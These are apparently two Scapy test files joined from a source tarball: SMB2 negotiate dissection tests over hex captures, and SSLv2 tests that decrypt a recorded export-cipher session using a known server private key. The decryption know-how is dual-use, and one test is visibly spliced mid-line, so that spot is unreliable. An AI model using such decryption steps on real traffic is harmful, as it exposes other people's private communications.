== 4 = SMB2 Negociate Context in Request - type NETNAME NEGOCIATE netname = nego_req.NegociateContexts[3] assert netname.ContextType == 0x5 assert netname.DataLength == 28 assert netname.NetName == '192.168.178.21' = test SMB2 Negociate Protocol Request Header - assembling pkt = IP() / TCP() / NBTSession() / SMB2_Header() / SMB2_Negociate_Protocol_Request_Header() pkt = IP(raw(pkt)) assert SMB2_Negociate_Protocol_Request_Header in pkt + SMB2 Negociate Protocol Response Header dissecting = Common fields in header rawpkt = b'\x45\x00\x02\x3e\x84\xa6\x40\x00\x80\x06\x0b\x74\xc0\xa8\xfe\x07\x91\xdc\x18\x13\x01\xbd\x9d\x76\xa3\xca\x83\xd2\x37\x06\x5f\x72\x50\x18\x04\x01\xe3\x14\x00\x00\x00\x00\x02\x12\xfe\x53\x4d\x42\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x00\x01\x00\x11\x03\x03\x00\x53\x6d\xdd\x1c\x30\x1f\x44\x42\xa5\xc8\x88\x73\x7a\x68\x05\xe1\x2f\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\xe9\xbe\x9e\x6c\xa4\xf8\xd5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x40\x01\xc0\x01\x00\x00\x60\x82\x01\x3c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x82\x01\x30\x30\x82\x01\x2c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x82\x01\x0c\x04\x82\x01\x08\x4e\x45\x47\x4f\x45\x58\x54\x53\x01\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x70\x00\x00\x00\x11\x70\xff\xd0\xfa\xf1\x4f\xa2\x6f\x40\x5c\x94\x55\x68\x53\xcf\xa1\x77\x02\x7a\x32\xa9\x62\x78\x0a\x21\xfb\x9e\x2c\x5e\xe9\x78\xeb\xab\xee\x91\xfd\xfc\xda\x0f\xc5\x91\x03\x6e\xf8\xfd\x4c\x08\x00\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x33\x53\x0d\xea\xf9\x0d\x4d\xb2\xec\x4a\xe3\x78\x6e\xc3\x08\x4e\x45\x47\x4f\x45\x58\x54\x53\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x98\x00\x00\x00\x11\x70\xff\xd0\xfa\xf1\x4f\xa2\x6f\x40\x5c\x94\x55\x68\x53\xcf\x5c\x33\x53\x0d\xea\xf9\x0d\x4d\xb2\xec\x4a\xe3\x78\x6e\xc3\x08\x40\x00\x00\x00\x58\x00\x00\x00\x30\x56\xa0\x54\x30\x52\x30\x27\x80\x25\x30\x23\x31\x21\x30\x1f\x06\x03\x55\x04\x03\x13\x18\x54\x6f\x6b\x65\x6e\x20\x53\x69\x67\x6e\x69\x6e\x67\x20\x50\x75\x62\x6c\x69\x63\x20\x4b\x65\x79\x30\x27\x80\x25\x30\x23\x31\x21\x30\x1f\x06\x03\x55\x04\x03\x13\x18\x54\x6f\x6b\x65\x6e\x20\x53\x69\x67\x6e\x69\x6e\x67\x20\x50\x75\x62\x6c\x69\x63\x20\x4b\x65\x79\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x20\x00\x01\x00\x09\x33\xe9\xe8\xcb\xf4\x8a\x5c\x61\x4d\x38\x42\xa1\x53\x41\x18\x1b\xeb\x99\x78\x0b\x19\x6f\x5c\xef\xdd\x02\x51\x07\x3b\xc6\xcc\x00\x00\x02\x00\x04\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00' pkt = IP(rawpkt) # Check layers assert TCP in pkt assert NBTSession in pkt assert pkt[NBTSession].LENGTH == 530 assert SMB2_Header in pkt assert SMB2_Negociate_Protocol_Response_Header in pkt nego_resp = pkt[SMB2_Negociate_Protocol_Response_Header] # check field values print(nego_resp.show()) print(repr(nego_resp.SecurityMode)) print(dir(nego_resp.SecurityMode)) assert nego_resp.StructureSize == 0x41 assert str(nego_resp.SecurityMode) == 'Signing Enabled' assert nego_resp.Dialect == 0x0311 assert nego_resp.NegociateCount == 0x3 assert str(nego_resp.ServerGUID) == '1cdd6d53-1f30-4244-a5c8-88737a6805e1' assert nego_resp.Capabilities == 0x2f000000 assert nego_resp.MaxTransactionSize == 0x00800000 assert nego_resp.MaxReadSize == 0x00800000 assert nego_resp.MaxWriteSize == 0x00800000 assert nego_resp.SecurityBufferOffset == 0x00000080 assert nego_resp.SecurityBufferLength == 320 assert nego_resp.NegociateContextOffset == 0x1c0 assert nego_resp.SecurityBuffer == b"`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xa0\x82\x0100\x82\x01,\xa0\x1a0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1e\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xa2\x82\x01\x0c\x04\x82\x01\x08NEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00\x11p\xff\xd0\xfa\xf1O\xa2o@\\\x94UhS\xcf\xa1w\x02z2\xa9bx\n!\xfb\x9e,^\xe9x\xeb\xab\xee\x91\xfd\xfc\xda\x0f\xc5\x91\x03n\xf8\xfdL\x08\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xea\xf9\rM\xb2\xecJ\xe3xn\xc3\x08NEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00\x11p\xff\xd0\xfa\xf1O\xa2o@\\\x94UhS\xcf\\3S\r\xea\xf9\rM\xb2\xecJ\xe3xn\xc3\x08@\x00\x00\x00X\x00\x00\x000V\xa0T0R0'\x80%0#1!0\x1f\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1f\x06\x03U\x04\x03\x13\x18Token Signing Public Key" assert len(nego_resp.NegociateContexts) == 3 = SMB2 Negociate Context in Response - Type PREAUTH preauth = nego_resp.NegociateContexts[0] assert preauth.ContextType == 0x0001 assert preauth.DataLength == 38 assert preauth.HashAlgorithmCount == 1 assert preauth.SaltLength == 32 assert preauth.Salt == b"\x09\x33\xe9\xe8\xcb\xf4\x8a\x5c\x61\x4d\x38\x42\xa1\x53\x41\x18\x1b\xeb\x99\x78\x0b\x19\x6f\x5c\xef\xdd\x02\x51\x07\x3b\xc6\xcc" assert len(preauth.HashAlgorithms) == 1 assert preauth.HashAlgorithms[0] == 0x1 = SMB2 Negociate Context in Response - Type ENCRYPTION enc = nego_resp.NegociateContexts[1] assert enc.ContextType == 0x0002 assert enc.DataLength == 4 assert enc.CipherCount == 1 assert len(enc.Ciphers) == 1 assert enc.Ciphers[0] == 1 = SMB2 Negociate Context in Response - Type COMPRESSION comp = nego_resp.NegociateContexts[2] assert comp.ContextType == 0x0003 assert comp.DataLength == 10 assert comp.CompressionAlgorithmCount == 1 assert len(comp.CompressionAlgorithms) == 1 assert comp.CompressionAlgorithms[0] == 1 = SMB2 Negociate Protocol Response Header assembling pkt = IP() / TCP() / NBTSession() / SMB2_Header() / SMB2_Negociate_Protocol_Response_Header() pkt = IP(raw(pkt)) assert SMB2_Negociate_Protocol_Response_Header in pkt scapy-2.4.4/test/sslv2.uts000066400000000000000000000527171372370053500154460ustar00rootroot00000000000000% Tests for TLS module # # Try me with : # bash test/run_tests -t test/tls.uts -F ~ crypto ############################################################################### ################# Reading SSLv2 vulnerable test session ####################### ############################################################################### # These packets come from a session between an s_server and an s_client. # We assume the server's private key has been retrieved. Because the cipher # suite does not provide PFS, we are able to break the data confidentiality. # With openssl version being 0.9.8v, these are exactly the commands used: # openssl s_server -cert test/tls/pki/srv_cert.pem -key test/tls/pki/srv_key.pem -Verify 2 -cipher EXP-RC4-MD5 # openssl s_client -ssl2 -cert test/tls/pki/cli_cert.pem -key test/tls/pki/cli_key.pem + Read a vulnerable SSLv2 session = Reading SSLv2 session - Loading unparsed SSLv2 records ch = b'\x80.\x01\x00\x02\x00\x15\x00\x00\x00\x10\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80\x1a\xfb/\x9c\xa3\xd1)4T\xa3\x15(!\xff\xd1\x0c' sh = b'\x83\xc0\x04\x00\x01\x00\x02\x03\xa2\x00\x03\x00\x100\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x02\x00\x809\x19R\xa4\xab)\x93\x94\xcd\x8a,^\x03\xb9\xf1\x80' mk = b"\x81\x15\x02\x02\x00\x80\x00\x0b\x01\x00\x00\x00~\xc2\xf9\x9e\x94i\x02\xfe\xed\xc4\xdc\x9b\xe0\xe7 \xa8\xcct'\xf7\xc3\x05\xfc\xa5^\x13\xdc\xaa\xf6\xfa\x88\x9f\xf9\x89\xc5@\x86\xfe\xe3\xe0\x88\xd8\x02B%5\x8e\xeaV\xd9\x08\xd2In\x9aY\xca\x87\x86k\xdf\xc3W\x13x\xff\x98\xb9!bU9\x07R.i\xce\x19\xf0\xa0\xc0\x1af\x87\\M&4\x8d\xa8G\xc1\xcd\x1d\x8a\x95F\t\xba\x07\x193\xb44\x8f\xbd+\xbdmz\xd0\x11\xa3\xbd9\xaaU\xbd\xfcX\xbb\xf0%V\x1e\xae\xd1\xf3\xe9\xa0\xd7\x19E\r\xac\xad\xde/mc\xa4\xb0\xb0\x12No\xd9\xf5\xd9\xb4\xcb\xa7\xa5\t\xa6\xb9L,\x07\xfc\x9f>m4\x96\xadlS\xf1b\xdeo\xa2\xb6Hh\x85\xc5P\xec\x89i \xf7\xd6\xa0h\xa7\xa4\x95\x8dL\x16\xde_\x14\xe3\x18\xb2\x05\x1a1g\xdd\x9f\xd0\x06\x16\x06\x8c\xd4\xcc\x8a\x89\xbc\x9c6\xa9\xa1\xa8+5\x19g\xd6\x83\x1f\xe0\xd8j\x1a\x98!\x95Y\xbb\x1et\x1e2-\xab\xf8\xe3\xb7d\x92\xbe\xb0\x1a\xcf\x84G\xcc\xf4}\x01\x9eq\x14`q*z\xeaW." sv = b'\x80!\xc5\x84A`t1\xc3\xeaZ\xea\xdf\xd9\x87e_\xb9j`Yb\xbc\xbc\x08\xf5\x9c\x9b\xe6\xfaF\xa0\x87\x02\x07' cf = b'\x80!w\xa2\x88\x83uv\xd5|\xde\xbdoz\xba&^O\xda\x82k\x01L_xSx\x08\xe0\x1a\xaf\xa0\x07\x93\xa5' rc = b'\x80"\xfe\x03\xe0$\xec{\x08-\xe9h\xf7\xc9(i\xa6N\xd8\xaa\xe3\xb2;\xf1\xfd\xf5+\x80\xa9\x1a*\xb3Z\xa7\xbe\xde' cc = b'\x84\xb8\xe3j:\xc9\xa9OL\x9d\x08\xb7"\xf4)<\xf7\x0c\x92\x10{u\xd1\t\xccR(R\xc2\x02\xe0\n\x85i\xffJ\xb7\xc7\xf09\x98\x99\xde\x06\xd1\xe2\x1a\xeff[.`\x85\xf0_gs\x91\'\x0e\x82\x1b\xf6\x93\xf34m\x9d\xdc=\xf9\xeas\xac;\xe3\xcbB\xcf`\x899S"\xa8\xf9\x9b-\x07<\xfa\xf9|j\x11Z{\xa1\x1d\xd6\xf6\xdbgv\t\xa8\xa3[\x85\x82\x02^\x17\xd6\xcb\x8e\x08\xae\x87\xa1\x84\xec\x17\x0fuX,\xd4\x95\x98\x91\xea\xb3o4\x8a\xbc\x14\xfc"\x97\xfa_\xf9D\x0cB+\x07\x16K\x18&\x05x\x97.\xbc\xe1\xc4e\xb8S\xadwh\x8b\xeb\xe0\x10\x01\xd7\x08-\x81\xac\xff\xb2\x10\xcf\x14\x99VNw\xb618\xbd\xff\x18\x9c\xfb\x08\x07\xce{\x03b\x12\x81\x1d!t\xf9l\x84^d\x0eA\xdbj\xb7\xc6\x7f3\xf9t\x15\xa7)1\x95ko\xe6\x95\xd0\xbc\xe6S!"\xcaO>\x80\xad\xe0|\xb8+\xc4\x88me.\xe3O\xaf\xe2\x14k\xdc\x89\xe9\xc0O4\xa7\xc9\xb9\xe9a\xf7i\xb0\x1eH\xc7\x90\xe5ep\xa4\x8d2\x9d)MD\xb5\xc3\xc6G\xdd\xf3\x8f\x0e\xe0\xef\x17\x7f\x9f\x02\x02\xe7\xd7U\xc5\xfc+\x9d_\xf4\x1e#\x0e\x19\x9cX\xd4\xe6\x85\xe5\x1bR\xd2\xb1\xdf\x93K\xb9\xecD\xbbx\xda\x8f\x08u\xee\xad\xb6a\xc7\xb1\xed\xd7\xf9!/O\xb4\x17kg/D\xd7/\x9f\x1e\t\xf2\x9d\xc3i\xfb\xa9V\x19yme\xe8\xaa\x0e]\x7f\xff\xbf\xdc\xa5\xd8b\\\x14\x11f\xcdI\xe5\xb4\xc4\x0cl\x87z\xfb\xec\xbe\x06G\x05\xf5\xf7D.w[\xcf)}T\x13\x99]L\xeeg\xf1\x1f\xcc\xfc\xed\\\xf7Xh\xc5\x9f>}\xc0\xfb\xce=Ngr\x99\xcb6^\xdc\x86a\xb8w\xd8\xd5\x0e\xd7\x1f\xd7\x9d\xc52\x10 \xc4{\xb0\xb2\xc6\xdaJ3\xd1R\xd7\xe5\xc8\xe4e\xa6g[\xa5\xecVL\xf4\x15\x0b\x94\x81\xe2\x7fU\xff\xf9\x8c\x01\xf2\xc1\xae\xc7>\xe2U\x89\x92\xc4\t\x95@\x83}\x83\xca\xd2\xca\x02-.\xf9N&\xbb\xb3i\xba\xfe\xcf\x7f\xd6t\x03\xb8\x05~\xf89[@\xa0\xc5u\xf5\xe9\x89`jE9G1\xad\x18\xccQc(T\x1cc\xa98\x1e\xf4\xec\xac"\xed$3K\x1fM\xa1\xbc`3\x81k\x81\xc6|\xaeh\x86\xca\xde\x18h\n\x95\xb6M*MNNTugX\xfbC\xfe\xb9K\xf4\x01\xa0:S\x10\x9b\xf7\x1aW\x91\x86\xc7[\xf7r\xb8\xc2^P\xdf\x14\x90\xc3\x8d\x1f\xb0^\xe8\xd2\xd9\xd7i\x0e\xa1\x0b>\nr\xdcl\xce\x8a\x11\xd6(\xabq\xd6\x05\x1f9\x9c\x7f5\xacw\xb0L\x97J\n\x94\xac\x00\xda(-@\x0c\xc5\xd8\x86\x82\x91\xe2\t\xd7\xc9\xc0\xb0\x1fs4etn{\xfaE\xd4\xce\x9b\xc9\xd6B\xe9\xbd\xf1.\xd4\xf65\xb8[a\x80\x80?3\xa7\x0b\x05\xe3)\xd3r\xbdd\xe9\xd5+\x99\xcc\x0f,xi(\xbd@\xb2\x8b\xe4\xf8\x12\xebt\xd5\xdfg\xe1\xd4\x16+,\xa8e\xf3z\\\x15\xfc\xd0D\xfc\xad\xbc\xa5\xad\xa5\xad\xde\xb7"\x18?\x84\r\xe6\xb1\xd7io\xea\xf0\xaf\xe6;\xaf\xdc\xa5@\x7f7\x99\xe0\xd2\x00\x0f_\xcd\x12\xe5\xf7\x9b\xbd\x8b\xa6_\xf0\xe5B\xf5\x7f\x96\xa8B\xeff{,V\x83b\xc7Y\xe5Z|QE\xe3\x8e\xb9\xed=\x16\x9e\x9e\xdeW\xa7X\x10\x02:\xd2\x8bl~$\xc2\xd6\xec\xc5\xfa=)\x93\xe9gJ\x8f\xc9\xb5\xb5A\xd0\x11]\xb9;ks\xfba\x84\xa0\x94,W\x1e\x07\x1e\xc2j\xa1\x9f\x8d\xbb\xe2\xb9 \x0f\xac\x9b\xbb\xe1\x12\t7\x8eJ;\x9d\xd4\x15\x197\x97\xf7xo\xcdJ\x15(\x88`z\x00\xff\xd0R.:\xc9\x92\xcbY~\xc3\x8ex\xd7\xab\xf6q\x98x\x99\xf2R;# \x0e\x16F\x9b\x15\xff\x90\x08\x06F\x01\xb7\xcd\xa0\xbaM\xf8xy\x99W\xaa\x82\xcc70\x02\x97\x0e\xd8\xeb\xdeLk\xa4\xe8\xbb\x7f\x0fN\xc6>hTN\n\xe2\xb1\xcc\xb0\xbcH\x99\x83]\x0f\x84\x07\xf5\x1e\x079\xb0[\xd8\xc9I\x93\xa0-\x0c\xc2\xd8W\x13\xed;\r\xe0S\xe6\x82m<\x8b\x0c\xfd\xce\xd6\xecA\xe7Zm\xeb\x03\x9b%p\xfa\xb0\x8c^\x7f\xb5e\xa8\xb0\x7f\xbf\xcd\xbf\x1f3\xa3\xb3\xddZ\xb3\'\x1arO?\x16\x8a\x90\xb3n$\xd5\xa5\x91\xe2\x91\x00Qy\xdb\xcf\xc8\xd9xP\x92\xd3 \xfd\xb2R\xb7\xe0\x8f\x02\xcf\x15\xad3\xda\xa8\xe0}\xa0\x8c\xfb\xfe-\x14\xb3\x85E\xe6\x91@1\xb6\n\x90;\xb6\xbf\xbb\x16e{\xce\xaf\xd7\xdf\xac\xc9\xe7-,\xd0<\xf8L[f~\x13R\xf7\xaf\xff\xa3\xe1\x98\x93\x03V9\x04\x13y\xaa\x17=\xef\xe6`f\xb49\x8e3\xc8\xac\x81+}\x9a\xaf\xfbe\xa0J\xd2\xcb?\x870\xd9\x0e\x87\xa2\xe1YS\x06v\xc51\x18\x9a\x8b\xd5\xc8\xdd\x01y\xee\xab3\x16\xfd\x93\xc7\x1a8\xe9' sf = b'\x80!\xc9\x18i\x80\xfb\xe9\xea\xa7F\x83n\xaaP\xc0\x88\x8a\x03\xce"9p\xbcW\xb1r\xac\xcc\xb1\xaa\x08\x85\xb4\xe2' d1 = b'\x80C\x99\x83z\xc0\xdc\xe7\xf0I\x80\x8c\x8e\x1c\xc7bx\x98\xd3\x84\xd6\x06\xc8r\x9b\x197\xd2\xe9\x08\xc53s\x88 y\x8e)\x9f\xdcE*e\xb2r\xa2$\x06\xba[\xd7\xea,\x08\xc2\xae\xba\xf3\x10\xbf\xea\x08\x8flV\x11D\xc5L\xad3\xf9') assert(s.rcs.cipher.key == b'\xba\xf3\x10\xbf\xea\x08\x8flV\x11D\xc5L\xad3\xf9') s.wcs.cipher.key == b'\xf4\xae\x00\x03kB>\x06\xba[\xd7\xea,\x08\xc2\xae' = Reading SSLv2 session - Record with ciphertext t = SSLv2(sv, tls_session=t.tls_session.mirror()) assert(t.len == 33) assert(not t.padlen) assert(t.mac == b'?:\xf3vE\xf3\xe83\x1a\xd0\xab\xba\xb6\x86\xe6\x89') not t.pad = Reading SSLv2 session - ServerVerify sv = t.msg[0] assert(isinstance(sv, SSLv2ServerVerify)) assert(sv.msgtype == 5) sv.challenge == ch.challenge = Reading SSLv2 session - ClientFinished t = SSLv2(cf, tls_session=t.tls_session.mirror()) cf = t.msg[0] assert(isinstance(cf, SSLv2ClientFinished)) assert(cf.msgtype == 3) cf.connection_id == sh.connection_id = Reading SSLv2 session - RequestCertificate t = SSLv2(rc, tls_session=t.tls_session.mirror()) rc = t.msg[0] assert(isinstance(rc, SSLv2RequestCertificate)) assert(rc.msgtype == 7) assert(rc.authtype == 1) rc.challenge == binascii.unhexlify('19619ddf7384d68e7a614ae1989ab41e') = Reading SSLv2 session - ClientCertificate t = SSLv2(cc, tls_session=t.tls_session.mirror()) cc = t.msg[0] assert(isinstance(cc, SSLv2ClientCertificate)) assert(cc.msgtype == 8) assert(cc.certtype == 1) assert(cc.certlen == 930) assert(cc.responselen == 256) assert(isinstance(cc.certdata, Cert)) assert(len(cc.certdata.der) == 930) assert(cc.certdata.subject_str == '/C=MN/L=Ulaanbaatar/OU=Scapy Test PKI/CN=Scapy Test Client') assert(len(cc.responsedata.sig_val) == 256) cc.responsedata.sig_val[:4] == b"\x81#\x95\xb5" and cc.responsedata.sig_val[-4:] == b"RM6\xd3" = Reading SSLv2 session - ServerFinished t = SSLv2(sf, tls_session=t.tls_session.mirror()) sf = t.msg[0] assert(isinstance(sf, SSLv2ServerFinished)) assert(sf.msgtype == 6) sf.sid == binascii.unhexlify('11c1e8070b2cf249ad3d85caf8854bc8') = Reading SSLv2 session - Application data t1 = SSLv2(d1, tls_session=t.tls_session.mirror()) data1 = t1.msg[0] assert(isinstance(data1, Raw)) assert(data1.load == b'These are horrendous parameters for a TLS session.\n') t2 = SSLv2(d2, tls_session=t1.tls_session) data2 = t2.msg[0] assert(isinstance(data2, Raw)) data2.load == b'*nothing to do here*\n' = Reading SSLv2 session - Checking final sequence numbers t2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4 ############################################################################### ####################### TLS-related scapy internals ########################### ############################################################################### + Check TLS-related scapy internals = Check TLS-related scapy internals - Checking raw() harmlessness (with RC4) t1.show() assert(t1.msg[0].load == b'These are horrendous parameters for a TLS session.\n') assert(t1.tls_session.rcs.seq_num == 6 and t1.tls_session.wcs.seq_num == 4) d1 == raw(t1) = Check TLS-related scapy internals - Checking show2() harmlessness (with RC4) t2.show2() assert(t2.msg[0].load == b'*nothing to do here*\n') assert(t2.tls_session.rcs.seq_num == 6 and t2.tls_session.wcs.seq_num == 4) d2 == raw(t2) = Check TLS-related scapy internals - Checking show2() harmlessness (with 3DES) # These are also taken from a s_client/s_server session. ch = b'\x80.\x01\x00\x02\x00\x15\x00\x00\x00\x10\x07\x00\xc0\x05\x00\x80\x03\x00\x80\x01\x00\x80\x06\x00@\x04\x00\x80\x02\x00\x80!2bc\x97^\xa3\r9\x14*\xe4\xd6\xd4\n\x1e' sh = b'\x83\xd2\x04\x00\x01\x00\x02\x03\xa2\x00\x15\x00\x100\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ 